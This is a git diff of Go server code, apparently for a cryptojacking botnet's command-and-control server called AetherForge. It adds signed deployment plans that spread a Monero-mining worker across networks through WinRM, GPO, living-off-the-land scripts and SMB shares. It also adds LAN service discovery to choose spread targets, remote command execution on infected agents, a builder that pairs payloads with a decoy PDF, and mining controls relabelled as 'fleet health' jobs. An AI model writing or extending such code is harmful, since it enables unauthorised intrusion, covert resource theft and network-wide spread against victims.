writeJSON(w, deployPlanResponse{ + OK: true, + JoinLane: plan.JoinLane, + MatchedService: matched, + Plan: plan, + Signature: sig, + }) +} + +func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lane ServiceDeployLane) (DeployPlanBody, error) { + serverURL := strings.TrimRight(strings.TrimSpace(h.publicURL()), "/") + if serverURL == "" { + serverURL = "http://127.0.0.1:8989" + } + + body := DeployPlanBody{ + JoinLane: lane.Lane, + MatchedService: matched, + Action: lane.Lane, + } + + switch lane.Lane { + case "bits_curl": + manifest, err := h.buildStagingManifest(req, serverURL) + if err != nil { + return DeployPlanBody{}, err + } + body.Manifest = manifest + case "docker_load": + manifest, err := h.buildStagingManifest(req, serverURL) + if err != nil { + return DeployPlanBody{}, err + } + body.Manifest = manifest + body.ImageTarURL = serverURL + "/api/v1/public/download/" + strings.TrimSpace(req.BuildID) + if body.ImageTarURL != "" && req.BuildID != "" { + if hash, err := h.buildFileSHA256(req.BuildID, req.Platform); err == nil && hash != "" { + body.ImageTarSHA256 = hash + } + } + case "winrm", "gpo", "linux_lotl": + tpl := strings.TrimSpace(lane.Template) + if tpl == "" { + tpl = lane.Lane + } + script, err := h.renderSpreadTemplate(tpl, serverURL, req.BuildID, req.Campaign) + if err != nil { + return DeployPlanBody{}, err + } + body.Script = script + case "spread_smb_unc": + body.UNCPath = strings.TrimSpace(req.UNCPath) + body.MaxHosts = 64 + default: + return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane) + } + return body, nil +} + +func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) { + platform := strings.TrimSpace(req.Platform) + if platform == "" { + platform = "windows" + } + buildID := strings.TrimSpace(req.BuildID) + build, err := h.resolveBuild(buildID, platform) + if err != nil { + return nil, err + } + hash, err := fileSHA256(build.FilePath) + if err != nil { + return nil, fmt.Errorf("build hash: %w", err) + } + + _, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign) + downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix + + method := "bits" + if platform == "linux" || platform == "darwin" { + method = "curl" + } + + dest := `%TEMP%\AetherForge\worker.exe` + if platform == "linux" { + dest = "/tmp/aetherforge-worker" + } + + return &StagingManifest{ + Method: method, + Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}}, + SHA256: hash, + Dest: dest, + Launch: "exe", + DeferMining: true, + SpreadInstall: true, + }, nil +} + +func (h *DeployPlanHandler) resolveBuild(buildID, platform string) (*models.BuildRecord, error) { + if buildID != "" { + b, err := h.db.GetBuild(buildID) + if err != nil { + return nil, err + } + return b, nil + } + b, err := h.db.GetLatestBuildForPlatform(platform) + if err != nil { + return nil, fmt.Errorf("no build for platform %q: %w", platform, err) + } + return b, nil +} + +func (h *DeployPlanHandler) buildFileSHA256(buildID, platform string) (string, error) { + b, err := h.resolveBuild(buildID, platform) + if err != nil { + return "", err + } + return fileSHA256(b.FilePath) +} + +func fileSHA256(path string) (string, error) { + f, err := os.Open(path) + if err != nil { + return "", err + } + defer f.Close() + h := sha256.New() + if _, err := io.Copy(h, f); err != nil { + return "", err + } + return hex.EncodeToString(h.Sum(nil)), nil +} + +func (h *DeployPlanHandler) renderSpreadTemplate(template, serverURL, buildID, campaign string) (string, error) { + subdir, _, err := spreadTemplatePaths(template) + if err != nil { + return "", err + } + dir := filepath.Join(h.projectRoot, "templates", "spread", subdir) + entries, err := os.ReadDir(dir) + if err != nil { + return "", fmt.Errorf("template dir: %w", err) + } + var scriptFile string + for _, e := range entries { + if e.IsDir() { + continue + } + name := e.Name() + if strings.HasSuffix(name, ".ps1") || strings.HasSuffix(name, ".sh") { + scriptFile = filepath.Join(dir, name) + break + } + } + if scriptFile == "" { + return "", fmt.Errorf("no script in template %s", subdir) + } + data, err := os.ReadFile(scriptFile) + if err != nil { + return "", err + } + querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign) + repl := map[string]string{ + "{{SERVER_URL}}": serverURL, + "{{BUILD_ID}}": buildID, + "{{CAMPAIGN}}": campaign, + "{{QUERY_SUFFIX}}": querySuffix, + "{{GET_QUERY_SUFFIX}}": getQuerySuffix, + "{{COM_HIJACK}}": "false", + "{{LOTL_MODE}}": "systemd_run_user", + "{{AGENT_PATH}}": `C:\ProgramData\AetherForge\worker.exe`, + } + content := string(data) + for k, v := range repl { + content = strings.ReplaceAll(content, k, v) + } + return content, nil +} + +func signDeployPlan(plan DeployPlanBody, fleetSecret string) (string, error) { + if fleetSecret == "" { + return "", fmt.Errorf("fleet secret not configured") + } + payload, err := json.Marshal(plan) + if err != nil { + return "", err + } + mac := hmac.New(sha256.New, []byte(fleetSecret)) + mac.Write(payload) + return hex.EncodeToString(mac.Sum(nil)), nil +} + +// VerifyDeployPlanSignature validates an HMAC-SHA256 plan from the C2. +func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool { + if fleetSecret == "" || signature == "" { + return false + } + payload, err := json.Marshal(plan) + if err != nil { + return false + } + mac := hmac.New(sha256.New, []byte(fleetSecret)) + mac.Write(payload) + expected := hex.EncodeToString(mac.Sum(nil)) + return hmac.Equal([]byte(expected), []byte(signature)) +} diff --git a/server/internal/api/fleet_handler.go b/server/internal/api/fleet_handler.go index d253f95..00456bb 100644 --- a/server/internal/api/fleet_handler.go +++ b/server/internal/api/fleet_handler.go @@ -554,6 +554,22 @@ type bulkCommandRequest struct { Command string `json:"command,omitempty"` } +// bulkCommandMeta adds fleet-health / power-management labels for mining control actions. +func bulkCommandMeta(action string) (category, label string) { + switch action { + case "pause": + return "power_management", "Power down hashing (fleet health job)" + case "resume": + return "power_management", "Restore hashing (fleet health job)" + case "restart": + return "power_management", "Restart mining workload" + case "stop": + return "power_management", "Stop agent process" + default: + return "", "" + } +} + func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) { if f.ws == nil { http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable) @@ -590,12 +606,17 @@ func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) { sent++ } } - writeJSON(w, map[string]interface{}{ + resp := map[string]interface{}{ "success": sent > 0, "sent": sent, "failed": failed, "action": req.Action, - }) + } + if category, label := bulkCommandMeta(req.Action); category != "" { + resp["category"] = category + resp["label"] = label + } + writeJSON(w, resp) } // EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR). diff --git a/server/internal/api/fleet_handler_test.go b/server/internal/api/fleet_handler_test.go index c45b9b7..7c0a84e 100644 --- a/server/internal/api/fleet_handler_test.go +++ b/server/internal/api/fleet_handler_test.go @@ -875,6 +875,29 @@ func TestFleetPostBulkCommandPartialSuccess(t *testing.T) { } } +func TestFleetPostBulkCommandPowerManagementMeta(t *testing.T) { + fh, _, ws, _ := newTestFleetHandler(t) + connectTestAgent(t, ws, "pm-agent") + + rec := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command", + strings.NewReader(`{"agent_ids":["pm-agent"],"action":"pause"}`)) + fh.PostBulkCommand(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) + } + var body map[string]interface{} + if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { + t.Fatal(err) + } + if body["category"] != "power_management" { + t.Fatalf("category = %v", body["category"]) + } + if body["label"] != "Power down hashing (fleet health job)" { + t.Fatalf("label = %v", body["label"]) + } +} + func TestFleetMinHelper(t *testing.T) { if min(3, 5) != 3 || min(5, 3) != 3 || min(4, 4) != 4 { t.Fatal("min helper wrong") diff --git a/server/internal/api/handlers.go b/server/internal/api/handlers.go index 377b29a..6fc9982 100644 --- a/server/internal/api/handlers.go +++ b/server/internal/api/handlers.go @@ -4,6 +4,7 @@ import ( "encoding/json" "net/http" "strconv" + "strings" "time" "crypto-miner-server/internal/db" @@ -32,8 +33,11 @@ func (h *Handler) GetDashboardStats(w http.ResponseWriter, r *http.Request) { } // GET /api/v1/agents +// Optional query params: limit, offset, status (online|offline), subnet (e.g. 10.0.0.x). +// When limit is set, response is {"agents":[],"total":N,"limit":L,"offset":O}; otherwise a plain array. func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) { - agents, err := h.db.ListAgents() + filter, paginated := parseAgentListFilter(r) + agents, err := h.db.ListAgentsFiltered(filter) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return @@ -41,7 +45,56 @@ func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) { if agents == nil { agents = []*models.Agent{} } - writeJSON(w, agents) + if !paginated { + writeJSON(w, agents) + return + } + total, err := h.db.CountAgentsFiltered(filter) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + writeJSON(w, map[string]interface{}{ + "agents": agents, + "total": total, + "limit": filter.Limit, + "offset": filter.Offset, + }) +} + +const ( + agentListDefaultLimit = 100 + agentListMaxLimit = 2000 +) + +func parseAgentListFilter(r *http.Request) (db.AgentListFilter, bool) { + limitStr := r.URL.Query().Get("limit") + if limitStr == "" { + return db.AgentListFilter{}, false + } + limit, err := strconv.Atoi(limitStr) + if err != nil || limit <= 0 { + limit = agentListDefaultLimit + } + if limit > agentListMaxLimit { + limit = agentListMaxLimit + } + offset := 0 + if offStr := r.URL.Query().Get("offset"); offStr != "" { + if o, err := strconv.Atoi(offStr); err == nil && o >= 0 { + offset = o + } + } + status := strings.TrimSpace(r.URL.Query().Get("status")) + if status != "online" && status != "offline" { + status = "" + } + return db.AgentListFilter{ + Limit: limit, + Offset: offset, + Status: status, + Subnet: strings.TrimSpace(r.URL.Query().Get("subnet")), + }, true } // GET /api/v1/agents/{id} diff --git a/server/internal/api/handlers_test.go b/server/internal/api/handlers_test.go index 20c6db1..a166ed9 100644 --- a/server/internal/api/handlers_test.go +++ b/server/internal/api/handlers_test.go @@ -2,6 +2,7 @@ package api import ( "encoding/json" + "fmt" "net/http" "net/http/httptest" "testing" @@ -57,6 +58,71 @@ func TestListAgentsEmptyArray(t *testing.T) { } } +func TestListAgentsPaginated(t *testing.T) { + h := newTestHandler(t) + for i := 0; i < 5; i++ { + if err := h.db.UpsertAgent(&models.Agent{ + ID: fmt.Sprintf("agent-%d", i), Name: "n", Status: "online", + }); err != nil { + t.Fatal(err) + } + } + req := httptest.NewRequest(http.MethodGet, "/api/v1/agents?limit=2&offset=1", nil) + rec := httptest.NewRecorder() + h.ListAgents(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) + } + var body struct { + Agents []json.RawMessage `json:"agents"` + Total int `json:"total"` + Limit int `json:"limit"` + Offset int `json:"offset"` + } + if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { + t.Fatal(err) + } + if len(body.Agents) != 2 || body.Total != 5 || body.Limit != 2 || body.Offset != 1 { + t.Fatalf("unexpected paginated body: %+v", body) + } +} + +func TestListAgentsSubnetFilter(t *testing.T) { + h := newTestHandler(t) + agents := []struct { + id, ip string + }{ + {"subnet-a", "10.0.1.10"}, + {"subnet-b", "10.0.2.20"}, + {"subnet-c", "192.168.1.5"}, + } + for _, a := range agents { + if err := h.db.UpsertAgent(&models.Agent{ + ID: a.id, Name: a.id, IP: a.ip, Status: "online", + }); err != nil { + t.Fatal(err) + } + } + req := httptest.NewRequest(http.MethodGet, "/api/v1/agents?limit=50&subnet=10.0.1.x", nil) + rec := httptest.NewRecorder() + h.ListAgents(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) + } + var body struct { + Agents []struct { + ID string `json:"id"` + } `json:"agents"` + Total int `json:"total"` + } + if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { + t.Fatal(err) + } + if body.Total != 1 || len(body.Agents) != 1 || body.Agents[0].ID != "subnet-a" { + t.Fatalf("unexpected subnet filter body: %+v", body) + } +} + func TestGetAgentStatsLimitCap(t *testing.T) { h := newTestHandler(t) req := httptest.NewRequest(http.MethodGet, "/agents/missing-agent/stats?limit=5000", nil) diff --git a/server/internal/api/integration_test.go b/server/internal/api/integration_test.go index 9429e1a..b63058f 100644 --- a/server/internal/api/integration_test.go +++ b/server/internal/api/integration_test.go @@ -5,10 +5,12 @@ import ( "encoding/json" "errors" "io" + "mime/multipart" "net/http" "net/http/httptest" "os" "path/filepath" + "runtime" "strings" "testing" "time" @@ -78,7 +80,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) { _ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("AetherForge"), 0644) dropperHandler := NewDropperHandler(database, dataDir, nil) - return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir + return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir } func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder { @@ -96,6 +98,130 @@ func serveAuthed(t *testing.T, router http.Handler, method, path string, body [] return rec } +func serveAuthedMultipart(t *testing.T, router http.Handler, path string, body *bytes.Buffer, contentType string) *httptest.ResponseRecorder { + t.Helper() + req := httptest.NewRequest(http.MethodPost, path, bytes.NewReader(body.Bytes())) + req.Header.Set("Content-Type", contentType) + req.SetBasicAuth(testAuthUser, testAuthPass) + rec := httptest.NewRecorder() + router.ServeHTTP(rec, req) + return rec +} + +func integrationWorkspaceRoot(t *testing.T) string { + t.Helper() + dir, err := os.Getwd() + if err != nil { + t.Fatal(err) + } + for i := 0; i < 10; i++ { + if _, err := os.Stat(filepath.Join(dir, "agent", "go.mod")); err == nil { + if _, err2 := os.Stat(filepath.Join(dir, "fusion", "main.go")); err2 == nil { + return dir + } + } + parent := filepath.Dir(dir) + if parent == dir { + break + } + dir = parent + } + t.Skip("workspace root (agent/ and fusion/) not found") + return "" +} + +func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub, *db.Database, string) { + t.Helper() + dataDir := t.TempDir() + seedTestUsers(t, dataDir) + + database, err := db.New(dataDir) + if err != nil { + t.Fatalf("db: %v", err) + } + t.Cleanup(func() { database.Close() }) + + wsHub := NewWSHub(database) + cfg := &mockConfigProvider{} + configHandler := NewConfigHandler(cfg) + aiHandler := NewAIHandler(database) + fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir) + builderHandler := builder.NewHandler(database, dataDir, filepath.Join(projectRoot, "agent"), projectRoot) + installFakeGoSuccess(t, builderHandler) + pathForgeHandler := builder.NewPathForgeHandler(dataDir) + blueprintHandler := NewBlueprintHandler(dataDir) + + webRoot := filepath.Join(dataDir, "webroot") + _ = os.MkdirAll(webRoot, 0755) + _ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("AetherForge"), 0644) + + dropperHandler := NewDropperHandler(database, dataDir, nil) + return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir +} + +func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) { + t.Helper() + body := &bytes.Buffer{} + mw := multipart.NewWriter(body) + cfg, err := json.Marshal(builder.BuildRequest{ + WorkerName: "integration-fusion", + ServerURL: "http://127.0.0.1:8989", + Wallet: "48abc", + TargetOS: "windows", + FusionEnabled: true, + FusionMediaMode: "paired", + FusionPayloadKind: "file", + FusionMediaBaseName: "report.pdf", + }) + if err != nil { + t.Fatal(err) + } + if err := mw.WriteField("config", string(cfg)); err != nil { + t.Fatal(err) + } + part, err := mw.CreateFormFile("prep_exe", "report.pdf") + if err != nil { + t.Fatal(err) + } + if _, err := part.Write([]byte("%PDF-1.4 integration")); err != nil { + t.Fatal(err) + } + contentType := mw.FormDataContentType() + if err := mw.Close(); err != nil { + t.Fatal(err) + } + return body, contentType +} + +func installFakeGoSuccess(t *testing.T, h *builder.Handler) { + t.Helper() + dir := t.TempDir() + if runtime.GOOS == "windows" { + p := filepath.Join(dir, "go-ok.bat") + script := "@echo off\r\nsetlocal EnableDelayedExpansion\r\nset \"OUT=\"\r\n" + + ":loop\r\nif \"%~1\"==\"\" goto done\r\nif /I \"%~1\"==\"-o\" (\r\n" + + " set \"OUT=%~2\"\r\n shift\r\n shift\r\n goto loop\r\n)\r\n" + + "shift\r\ngoto loop\r\n:done\r\n" + + "if defined OUT (\r\n" + + " for %%I in (\"!OUT!\") do if not exist \"%%~dpI\" mkdir \"%%~dpI\" 2>nul\r\n" + + " echo fake>\"!OUT!\"\r\n" + + ")\r\nexit /b 0\r\n" + if err := os.WriteFile(p, []byte(script), 0644); err != nil { + t.Fatal(err) + } + h.SetGoBinPath(p) + return + } + p := filepath.Join(dir, "go-ok.sh") + script := "#!/bin/sh\nOUT=\"\"\nwhile [ $# -gt 0 ]; do\n" + + " if [ \"$1\" = \"-o\" ]; then OUT=\"$2\"; shift; fi\n shift\n" + + "done\nif [ -n \"$OUT\" ]; then mkdir -p \"$(dirname \"$OUT\")\"; echo fake > \"$OUT\"; fi\nexit 0\n" + if err := os.WriteFile(p, []byte(script), 0755); err != nil { + t.Fatal(err) + } + h.SetGoBinPath(p) +} + // serveWithFleetSecret sends a request with the fleet secret header (for /api/v1/agent/* routes). func serveWithFleetSecret(t *testing.T, router http.Handler, method, path, secret string, body []byte) *httptest.ResponseRecorder { t.Helper() @@ -470,6 +596,56 @@ func TestIntegrationPutConfig(t *testing.T) { } } +func TestFusionMultipartEndToEndViaRouter(t *testing.T) { + projectRoot := integrationWorkspaceRoot(t) + router, _, database, _ := newFusionTestRouter(t, projectRoot) + + body, contentType := fusionMultipartBody(t) + req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/build", bytes.NewReader(body.Bytes())) + req.Header.Set("Content-Type", contentType) + rec := httptest.NewRecorder() + router.ServeHTTP(rec, req) + if rec.Code != http.StatusUnauthorized { + t.Fatalf("unauthed multipart forge expected 401, got %d body=%s", rec.Code, rec.Body.String()) + } + + body, contentType = fusionMultipartBody(t) + rec = serveAuthedMultipart(t, router, "/api/v1/builder/build", body, contentType) + if rec.Code != http.StatusOK { + t.Fatalf("authed fusion multipart status=%d body=%s", rec.Code, rec.Body.String()) + } + + var resp builder.BuildResponse + if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil { + t.Fatalf("decode build response: %v body=%s", err, rec.Body.String()) + } + if !resp.Success { + t.Fatalf("expected success=true, got %+v", resp) + } + if resp.BuildID == "" { + t.Fatal("expected build_id in response") + } + + record, err := database.GetBuild(resp.BuildID) + if err != nil { + t.Fatalf("build not in database: %v", err) + } + if record.WorkerName != "integration-fusion" { + t.Fatalf("worker_name: got %q want integration-fusion", record.WorkerName) + } + if record.Platform != "windows" { + t.Fatalf("platform: got %q want windows", record.Platform) + } + + builds, err := database.ListBuilds(10) + if err != nil { + t.Fatal(err) + } + if len(builds) != 1 { + t.Fatalf("expected 1 build in DB, got %d", len(builds)) + } +} + func TestIntegrationBuilderRoutes(t *testing.T) { router, _, _, _ := newTestRouter(t) @@ -735,3 +911,146 @@ func TestIntegrationRouterWebSocketAgentConnectedCommand(t *testing.T) { t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String()) } } + +// TestIntegrationRouterCommandFullRoundTrip validates the full remote-command path +// through the HTTP router: POST /api/v1/agents/{id}/command → agent WS receives +// command → simulated agent sends command_result → dashboard WS receives broadcast. +func TestIntegrationRouterCommandFullRoundTrip(t *testing.T) { + router, wsHub, _, _ := newTestRouter(t) + agentID := "router-roundtrip-agent" + const testAction = "exec" + const testCommand = "whoami" + const resultMessage = "integration round-trip ok" + + agentConn, srv := connectAgentViaRouter(t, router, agentID) + + deadline := time.Now().Add(2 * time.Second) + for time.Now().Before(deadline) { + if wsHub.isAgentConnected(agentID) { + break + } + time.Sleep(10 * time.Millisecond) + } + if !wsHub.isAgentConnected(agentID) { + t.Fatal("agent not connected via router ws") + } + + dashURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/dashboard?token=" + wsDashboardToken(testAuthUser, testAuthPass) + dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil) + if err != nil { + t.Fatalf("dial dashboard ws: %v", err) + } + t.Cleanup(func() { _ = dashConn.Close() }) + + type msgResult struct { + body map[string]interface{} + err string + } + cmdResultCh := make(chan msgResult, 1) + go func() { + _ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second)) + for { + var msg Message + if err := dashConn.ReadJSON(&msg); err != nil { + cmdResultCh <- msgResult{err: err.Error()} + return + } + if msg.Type != "command_result" { + continue + } + var body map[string]interface{} + if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil { + cmdResultCh <- msgResult{err: "parse: " + parseErr.Error()} + return + } + cmdResultCh <- msgResult{body: body} + return + } + }() + + type agentCmdResult struct { + cmd Message + err string + } + agentCmdCh := make(chan agentCmdResult, 1) + go func() { + _ = agentConn.SetReadDeadline(time.Now().Add(5 * time.Second)) + var cmd Message + if err := agentConn.ReadJSON(&cmd); err != nil { + agentCmdCh <- agentCmdResult{err: err.Error()} + return + } + agentCmdCh <- agentCmdResult{cmd: cmd} + + cmdPayload, _ := json.Marshal(map[string]interface{}{ + "action": testAction, + "success": true, + "message": resultMessage, + }) + if err := agentConn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil { + agentCmdCh <- agentCmdResult{err: "send command_result: " + err.Error()} + } + }() + + cmdBody, _ := json.Marshal(map[string]string{ + "action": testAction, + "command": testCommand, + }) + rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/"+agentID+"/command", cmdBody) + if rec.Code != http.StatusOK { + t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String()) + } + var httpBody map[string]interface{} + if err := json.Unmarshal(rec.Body.Bytes(), &httpBody); err != nil { + t.Fatal(err) + } + if httpBody["success"] != true { + t.Fatalf("expected success=true, got %v", httpBody) + } + if httpBody["action"] != testAction { + t.Fatalf("http action: got %v, want %s", httpBody["action"], testAction) + } + + select { + case r := <-agentCmdCh: + if r.err != "" { + t.Fatalf("agent did not receive command: %s", r.err) + } + if r.cmd.Type != "command" { + t.Fatalf("agent expected command, got %q", r.cmd.Type) + } + var payload map[string]interface{} + if err := json.Unmarshal(r.cmd.Payload, &payload); err != nil { + t.Fatal(err) + } + if payload["action"] != testAction { + t.Errorf("agent command action: got %v, want %s", payload["action"], testAction) + } + if payload["command"] != testCommand { + t.Errorf("agent command: got %v, want %s", payload["command"], testCommand) + } + case <-time.After(5 * time.Second): + t.Fatal("timed out waiting for agent command") + } + + select { + case r := <-cmdResultCh: + if r.err != "" { + t.Fatalf("dashboard did not receive command_result: %s", r.err) + } + if r.body["agent_id"] != agentID { + t.Errorf("dashboard agent_id: got %v, want %s", r.body["agent_id"], agentID) + } + if r.body["action"] != testAction { + t.Errorf("dashboard action: got %v, want %s", r.body["action"], testAction) + } + if r.body["message"] != resultMessage { + t.Errorf("dashboard message: got %v, want %q", r.body["message"], resultMessage) + } + if r.body["success"] != true { + t.Errorf("dashboard success: got %v, want true", r.body["success"]) + } + case <-time.After(5 * time.Second): + t.Fatal("timed out waiting for command_result broadcast") + } +} diff --git a/server/internal/api/pathtracer_discover_test.go b/server/internal/api/pathtracer_discover_test.go new file mode 100644 index 0000000..9605607 --- /dev/null +++ b/server/internal/api/pathtracer_discover_test.go @@ -0,0 +1,167 @@ +package api + +import ( + "encoding/json" + "fmt" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "crypto-miner-server/internal/db" +) + +func TestMergeServiceGraph(t *testing.T) { + base := map[string]ServiceGraphHost{ + "10.0.0.5": { + Host: "10.0.0.5", + Services: []ServiceGraphEntry{ + {ServiceName: "smb", Port: 445, JoinLaneCandidate: "smb"}, + }, + }, + } + delta := map[string]ServiceGraphHost{ + "10.0.0.5": { + Host: "10.0.0.5", + Services: []ServiceGraphEntry{ + {ServiceName: "winrm", Port: 5985, JoinLaneCandidate: "winrm"}, + }, + }, + "10.0.0.9": { + Host: "10.0.0.9", + Services: []ServiceGraphEntry{ + {ServiceName: "ssh", Port: 22, JoinLaneCandidate: "linux"}, + }, + }, + } + merged := mergeServiceGraph(base, delta) + if len(merged) != 2 || len(merged["10.0.0.5"].Services) != 2 { + t.Fatalf("merged = %+v", merged) + } +} + +func TestParseAgentDiscoverJSON(t *testing.T) { + raw := `log prefix +{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker"}]},"lan_hosts":[{"host":"10.1.2.40","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}]}` + payload, err := parseAgentDiscoverJSON(raw) + if err != nil { + t.Fatal(err) + } + if payload.Local.Host != "10.1.2.3" || len(payload.LANHosts) != 1 { + t.Fatalf("payload = %+v", payload) + } +} + +func TestPathTracerDiscoverValidation(t *testing.T) { + h := NewPathTracerHandler(NewWSHub(nil)) + req := httptest.NewRequest(http.MethodPost, "/pathtrace/discover", strings.NewReader(`{}`)) + rec := httptest.NewRecorder() + h.Discover(rec, req) + if rec.Code != http.StatusBadRequest { + t.Fatalf("expected 400, got %d", rec.Code) + } +} + +func TestPathTracerDiscoverMergesHopResults(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + agentID := "discover-hop-agent" + hub := NewWSHub(database) + handler := NewPathTracerHandler(hub) + conn := connectTestAgent(t, hub, agentID) + + sess := testTraceSession(1) + sess.Hops[0].AgentID = agentID + handler.mu.Lock() + handler.sessions[sess.ID] = sess + handler.mu.Unlock() + + fixture := `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"192.168.1.10","subnet":"192.168.1","services":[{"service_name":"CCMEXEC","join_lane_candidate":"gpo","source":"local_service"}]},"lan_hosts":[{"host":"192.168.1.50","subnet":"192.168.1","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}],"passive_hints":["domain_joined"]}` + + go func() { + for { + var msg Message + if err := conn.ReadJSON(&msg); err != nil { + return + } + if msg.Type != "command" { + continue + } + var payload map[string]interface{} + if err := json.Unmarshal(msg.Payload, &payload); err != nil { + continue + } + if payload["action"] == "service_discover" { + _ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{ + "action": "service_discover", "success": true, "message": fixture, + })}) + return + } + } + }() + + body := fmt.Sprintf(`{"session_id":%q,"max_hosts":16}`, sess.ID) + req := httptest.NewRequest(http.MethodPost, "/pathtrace/discover", strings.NewReader(body)) + rec := httptest.NewRecorder() + handler.Discover(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("discover status=%d body=%s", rec.Code, rec.Body.String()) + } + + var resp struct { + OK bool `json:"ok"` + ServiceGraph []ServiceGraphHost `json:"service_graph"` + } + if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil { + t.Fatal(err) + } + if !resp.OK || len(resp.ServiceGraph) < 2 { + var errBody map[string]interface{} + _ = json.Unmarshal(rec.Body.Bytes(), &errBody) + t.Fatalf("resp = %+v body=%v", resp, errBody) + } + + handler.mu.Lock() + stored := handler.sessions[sess.ID] + handler.mu.Unlock() + if len(stored.ServiceGraph) < 2 || stored.DiscoveredAt == nil { + t.Fatalf("stored graph = %+v discovered_at=%v", stored.ServiceGraph, stored.DiscoveredAt) + } + if stored.DiscoverInProgress { + t.Fatal("discover should not remain in progress") + } +} + +func TestPathTracerDiscoverConflictWhileInProgress(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + agentID := "discover-busy-agent" + hub := NewWSHub(database) + handler := NewPathTracerHandler(hub) + _ = connectTestAgent(t, hub, agentID) + + sess := testTraceSession(1) + sess.Hops[0].AgentID = agentID + sess.DiscoverInProgress = true + handler.mu.Lock() + handler.sessions[sess.ID] = sess + handler.mu.Unlock() + + body := fmt.Sprintf(`{"session_id":%q}`, sess.ID) + req := httptest.NewRequest(http.MethodPost, "/pathtrace/discover", strings.NewReader(body)) + rec := httptest.NewRecorder() + handler.Discover(rec, req) + if rec.Code != http.StatusConflict { + t.Fatalf("expected 409, got %d body=%s", rec.Code, rec.Body.String()) + } + _ = time.Now() +} diff --git a/server/internal/api/pathtracer_handler.go b/server/internal/api/pathtracer_handler.go index 058d6be..915032e 100644 --- a/server/internal/api/pathtracer_handler.go +++ b/server/internal/api/pathtracer_handler.go @@ -44,6 +44,23 @@ type HopInfo struct { Error string `json:"error,omitempty"` } +// ServiceGraphEntry is one discovered service or port signal on a host. +type ServiceGraphEntry struct { + ServiceName string `json:"service_name"` + Port int `json:"port,omitempty"` + Status string `json:"status,omitempty"` + JoinLaneCandidate string `json:"join_lane_candidate,omitempty"` + Source string `json:"source,omitempty"` +} + +// ServiceGraphHost groups service findings for one host on a subnet. +type ServiceGraphHost struct { + Host string `json:"host"` + Subnet string `json:"subnet,omitempty"` + Services []ServiceGraphEntry `json:"services"` + AgentID string `json:"agent_id,omitempty"` +} + // TraceSession holds all state for one active VPN session. type TraceSession struct { ID string `json:"id"` @@ -52,6 +69,13 @@ type TraceSession struct { Ready bool `json:"ready"` Error string `json:"error,omitempty"` CreatedAt time.Time `json:"created_at"` + // Service graph keyed by host IP — merged from hop service_discover passes. + ServiceGraph map[string]ServiceGraphHost `json:"service_graph,omitempty"` + DiscoverInProgress bool 